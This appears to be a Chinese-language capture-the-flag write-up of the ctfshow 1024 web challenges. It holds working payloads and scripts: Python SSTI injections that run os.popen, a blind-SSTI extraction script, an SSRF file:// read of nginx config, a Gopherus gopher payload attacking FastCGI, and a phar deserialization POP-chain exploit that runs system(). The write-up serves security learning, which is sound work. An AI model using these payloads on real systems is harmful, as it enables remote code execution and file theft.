1024杯
1024_WEB签到
<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
考察call_user_func的使用 call_user_func — 把第一个参数作为回调函数调用 传参?f=phpinfo得到phpinfo界面
通过查看phpinfo的信息我们直接发现了一个可执行的函数:
传入f=ctfshow_1024执行函数得到flag,简单粗暴
1024_fastapi
打开题目只看到了如下
然后我就去百度了下关于fastapi的相关知识
FastAPI 是一个高性能 Web 框架,用于构建 API。
在一个师傅的文章下看到了接口文档docs,访问页面
测试后发现get传参无法利用,post传参进行计算
感觉是SSTI,经过测试发现确实是SSTI
然后便开始尝试利用
{str(''.__class__.__base__.__subclasses__())}
这里我们要用到python中的一个模块warnings.catch_warnings,但是我们并在不知道这个模块所在下标
可以写个简单的脚本输出一下
import requests
url = "http://7c68b783-4649-47bf-9f21-8c48f80f3faa.chall.ctf.show/cccalccc"
for i in range(200):
data = {
'q':"{str([].__class__.__base__.__subclasses__()["+str(i)+"])}"
}
res = requests.post(url=url,data=data).text
if 'warnings.catch_warnings' in res:
print (i)
知道了模块的下标更方便我们接下来的利用。经过测试发现eval,system,import等都被禁用了,使用imp+ort的形式绕过
读取文件
{str()''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read())}
发现目录下没有flag文件,全局搜索flag
{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read())}
读取flag
{str(''.__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read())}
1024_hello_world
ssti的盲注
把{{和}}过滤了,肯定有问题。
尝试使用{%%}这种形式的,发现成功执行
过滤了的会报500 Internal Server Error
key={%if ''!=1%}air{%endif%} #error
key={%if ""!=1%}air{%endif%} #正常
key={%if "".__class__!=1%}air{%endif%} #error
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}air{%endif%} #正常
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()!=1%}air{%endif%} #正常
在这里由于没有回显,不知道
下具体使用哪个下标,所以直接在bp里爆破"".__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")!=1%}air{%endif%}
回显状态码为200的都是可以选用的。
import requests
import string
strs = string.digits+string.ascii_lowercase+'-_{}'
url = 'http://27f23e34-f8b2-45c4-8f3c-d231dfa88ef6.challenge.ctf.show/'
#cmd = 'ls /'
cmd = 'cat /ctfshow*'
res = ''
for i in range(0,50):
print('i =',i,end='\t')
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+ch+'"%}air{%endif%}'
#print(payload)
data = {'key':payload}
r = requests.post(url,data)
#print(r.text)
if 'air' in r.text:
res += ch
print('res = '+res)
break
在这里讲一个小细节,如果你使用hackbar或者python的requests库直接传值含有编码的字符串时需要先将\进行转义,否则系统会帮你自动进行一次转义。而用burpsuite传值就不会出现这个问题。
常见绕过姿势
https://www.cnblogs.com/20175211lyz/p/11425368.html
图片代理
发现url框里是一个base64编码,aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
解码得到
http://p.qlogo.cn/gh/372619038/372619038/0
猜测可能存在ssrf漏洞
默认的配置文件路径 /etc/nginx/conf.d/default.conf
base64编码进行传参(在bp进行)
ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==
注意传参payload是file:///etc/nginx/conf.d/default.conf
File协议和Http协议
https://www.jianshu.com/p/8a827193aaac
得到server信息
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
考察点:ssrf攻击fastcgi。
直接使用Gopherus工具进行攻击
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
#base64编码后的值
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw
关于gopher协议的ssrf攻击
https://blog.csdn.net/qq_69775412/article/details/124420486
柏拉图
考点:
phar伪协议反序列化
首先利用SSRF读取源码
经过尝试后,发现过滤了http,127,localhost等
但可以用file:///var/www/html/
在 Linux 或类 Unix 系统中,/var/www/html/ 是 Web 服务器的默认根目录,也称为 Document Root。在这个目录下,你可以放置网页文件
(如 HTML、PHP、CSS、JavaScript 文件)和其他与网页相关的资源文件(如图像、样式表、脚本等)
通过双写绕过读源代码 filefile://:///var/www/html/index.php
依次读取
index.php
<?php
error_reporting(0);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>
upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>
readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>
unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>
在readfile.php中发现class.php
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
首先在readfile.php处有读取文件的操作,不过过滤的很死,
在这里用不了。php://伪协议
这里可以用
函数。phar://伪协议
`,但是
`phar://
`不能出现在首部,可以利用
`compress.zlib://
`或
`compress.bzip2://
php一大部分的文件系统函数在通过
解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下[3]:phar://伪协议
而在read.file.php中有readfile函数可以利用
到这里自然而然想到了phar反序列化
首先分析class.php,需要构造pop链
__invoke(): 把实例对象当作函数方法调用时,会自动调用__invoke()方法;
这里在Class B里的__toString()方法里的“($this->b)();”这句话实现了
__toString(): 打印一个对象的时被调用,如echo $obj;或print $obj。
这里在class A里的__destruct()方法里有实现
__destruct(): 当删除一个对象或对象操作终止时被调用。
还是比较简单的pop链,实现如下:
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls");');
exp
<?php
error_reporting(0);
ini_set('phar.readonly','Off');
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');
@unlink("phar.phar"); //unlink()函数删除文件
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲phar写操作
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");//设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("text.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
注:
phar文件结构
文件标识头
格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
压缩文件信息
phar本质上是一种压缩文件,那就有存储文件的地方。第二段a manifest describing the contents,这是存放压缩文件权限、属性等信息的地方,这部分还会以序列化的形式存储用户自定义的meta-data,是反序列化的攻击点。
压缩文件内容
存放phar内的文件,这部分无关紧要,有东西存进去就好。
数字签名
放在文件末尾
然后上传phar.gif,查看文件处使用
进行查看能得到ctfshow_1024_flag.txt文件compress.zlib://phar://upload/phar.gif
修改为cat /ctfshow_1024_flag.txt再次上传即可得到flag
想了解更多phar伪协议反序列化,请参考:
https://www.kitsch.life/2021/03/09/phar%E4%BC%AA%E5%8D%8F%E8%AE%AE%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/